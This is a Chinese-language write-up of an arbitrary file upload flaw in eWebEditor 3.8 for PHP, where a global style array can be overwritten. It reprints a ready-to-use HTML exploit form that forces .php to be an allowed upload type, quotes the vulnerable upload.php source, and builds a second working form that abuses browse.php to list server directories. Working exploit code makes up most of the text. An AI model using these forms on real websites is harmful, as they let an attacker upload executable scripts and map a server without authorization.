首先这个是别人早都发出来的一个漏洞,exp也写好了,如下
<title>eWebeditoR3.8 for php任意文件上EXP</title>
<form action="" method=post enctype="multipart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://localhost:81/" size=100><br>
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile1/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit οnclick=fsubmit()>
</form><br>
<script>
function fsubmit(){
form = document.forms[0];
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en';
alert(form.action);
form.submit();
}
</script>
这是一个任意文件上传漏洞,目标版本是eWebEditor 3.8 for php ,不过估计asp应该也有类似的问题,具体的解析思路是:
首先一个网页编辑器,无论是fck,ewebeditor 或者kindeditor之类的,都爆出过上传漏洞,那么找文件上传漏洞的思路应该是先下载对应版本的编辑器,自己把环境搭起来,然后开始找文件上传点,3.8据说还有个cookie的验证不严格的漏洞,不过我看了下没发现,估计我看的是修正过的版本,
文文件上传很直接的我们就定位到了admin/upload.php,不过很可惜在文件头就发现了
require("private.php");这个,这意味着这个upload.php我们几乎无法使用的。
但是继续往下看,我们翻到别的目录发现了php这个目录,而这个目录中,共有3各有意义的文件,个个都非常重要
1. config.php一个类似数据库存储的文件,中间保存了用户名密码,以及一些样式
2.browse.php 是一个用来查看文件夹路径的php,最重要的是他们有检查用户登录与否
3.upload.php 这就是一个上传的页面,同样也没有检查用户
我们首先关注upload.php这个文件,这也是这个exp的处理的地方
<?php
require("config.php");
InitUpload();
if (isset($_GET["action"])){
$sAction = strtoupper($_GET["action"]);
}else{
$sAction = "";
}
switch ($sAction){
case "REMOTE":
DoCreateNewDir();
DoRemote();
break;
case "SAVE":
ShowForm();
DoCreateNewDir();
DoSave();
break;
default:
ShowForm();
break;
}
明显在这个文件一开始就有一个InitUpload(); 的存在
function InitUpload(){
global $sType, $sStyleName, $sLanguage;
global $sAllowExt, $nAllowSize, $sUploadDir, $nUploadObject, $nAutoDir, $sBaseUrl, $sContentPath;
global $sFileExt, $sOriginalFileName, $sSaveFileName, $sPathFileName, $nFileNum;
global $nSLTFlag, $nSLTMinSize, $nSLTOkSize, $nSYFlag, $sSYText, $sSYFontColor, $nSYFontSize, $sSYFontName, $sSYPicPath, $nSLTSYObject, $sSLTSYExt, $nSYMinSize, $sSYShadowColor, $nSYShadowOffset;
$sType = toTrim("type");
$sStyleName = toTrim("style");
$sLanguage = toTrim("language");
$bValidStyle = false;
$numElements = count($GLOBALS["aStyle"]);
for($i=1; $i<=$numElements; $i++){
$aStyleConfig = explode("|||", $GLOBALS["aStyle"][$i]);
if (strtolower($sStyleName)==strtolower($aStyleConfig[0])){
$bValidStyle = true;
break;
}
}
if ($bValidStyle == false) {
OutScript("parent.UploadError('lang[\"ErrInvalidStyle\"]')");
}
$sBaseUrl = $aStyleConfig[19];
$nUploadObject = (int)$aStyleConfig[20];
$nAutoDir = (int)$aStyleConfig[21];
$sUploadDir = $aStyleConfig[3];
if (substr($sUploadDir, 0, 1) != "/"){
$sUploadDir = "../".$sUploadDir;
}
switch ($sBaseUrl){
case "0":
$sContentPath = $aStyleConfig[23];
break;
case "1":
$sContentPath = RelativePath2RootPath($sUploadDir);
break;
case "2":
$sContentPath = RootPath2DomainPath(RelativePath2RootPath($sUploadDir));
break;
}
switch (strtoupper($sType)){
case "REMOTE":
$sAllowExt = $aStyleConfig[10];
$nAllowSize = (int)$aStyleConfig[15];
break;
case "FILE":
$sAllowExt = $aStyleConfig[6];
$nAllowSize = (int)$aStyleConfig[11];
break;
case "MEDIA":
$sAllowExt = $aStyleConfig[9];
$nAllowSize = (int)$aStyleConfig[14];
break;
case "FLASH":
$sAllowExt = $aStyleConfig[7];
$nAllowSize = (int)$aStyleConfig[12];
break;
default:
$sAllowExt = $aStyleConfig[8];
$nAllowSize = (int)$aStyleConfig[13];
break;
}
$sAllowExt = strtoupper($sAllowExt);
$nSLTFlag = (int)$aStyleConfig[29];
$nSLTMinSize = (int)$aStyleConfig[30];
$nSLTOkSize = (int)$aStyleConfig[31];
$nSYFlag = (int)$aStyleConfig[32];
$sSYText = $aStyleConfig[33];
$sSYFontColor = $aStyleConfig[34];
$nSYFontSize = (int)$aStyleConfig[35];
$sSYFontName = $aStyleConfig[36];
$sSYPicPath = $aStyleConfig[37];
$nSLTSYObject = (int)$aStyleConfig[38];
$sSLTSYExt = $aStyleConfig[39];
$nSYMinSize = (int)$aStyleConfig[40];
$sSYShadowColor = $aStyleConfig[41];
$nSYShadowOffset = (int)$aStyleConfig[42];
}
这个方法由于采用了全局变量设置,可以被用户提交的变量所覆盖,他的原意是通过config.php得到这些初始参数的,这就是漏洞所在,而我们通过观察config.php可得知原始样式表共有11个,所以就理解了exp中的样式表为aStyle[12]的原因了,
然后通过自己修改了下已有的astyle,其中添加允许上传为php,基本上漏洞就算利用好了
同样的理论,我们去观察这个目录下剩余的
browse.php
而且此时我们发现别人写的exp存在着一个很奇怪的问题,在config.php中,我们可以看到
一项一共有43项,而别人提供的exp只有42项,而其中着关键最后一项在browse.php中有着大作用,我觉得这个exp可能是故意漏掉了这个关键的一个,
$sAllowBrowse = $aStyleConfig[43];
分析ewebeditor browse.php可以采用和upload.php相同的手法覆盖掉config.php,然后在browse。php中我们可以看到
$sUploadDir = $aStyleConfig[3];
所以我们构造的时候可以选择sUploadDir=空,dir=空
$sDir = toTrim("dir");
if ($sDir != "") {
if (is_dir($sUploadDir.$sDir)) {
$sCurrDir = $sUploadDir.$sDir."/";
}else{
$sDir = "";
}
}
但是由于
switch (strtoupper($sType)){
case "FILE":
$sAllowExt = "";
break;
case "MEDIA":
$sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov";
break;
case "FLASH":
$sAllowExt = "swf";
break;
default:
$sAllowExt = "bmp|jpg|jpeg|png|gif";
break;
}
这个的存在,使得最终列文件效果无法列出php和asp等,不过爆目录效果还是可以的
最终生成的browse.html
<title>eWebeditoR3.8 for php查看文件目录</title>
<form action="" method=post enctype="multipart/form-data">
URL:<input type=text name=url value="http://localhost:81/" size=100><br>
DIR:<input type=text name=dir value="" size=100><br>
<INPUT TYPE="hidden" name="aStyle[12]" value="ice|||gray|||red||||||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|php|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1">
<input type=button value=submit οnclick=fsubmit()>
</form><br>
<script>
function fsubmit(){
form = document.forms[0];
form.action = form.url.value+'php/browse.php?style=ice&dir='+form.dir.value;
alert(form.action);
form.submit();
}
</script>
使用后,会弹出新的页面,查看页面源代码就可以得到目录列表和少量图片文件了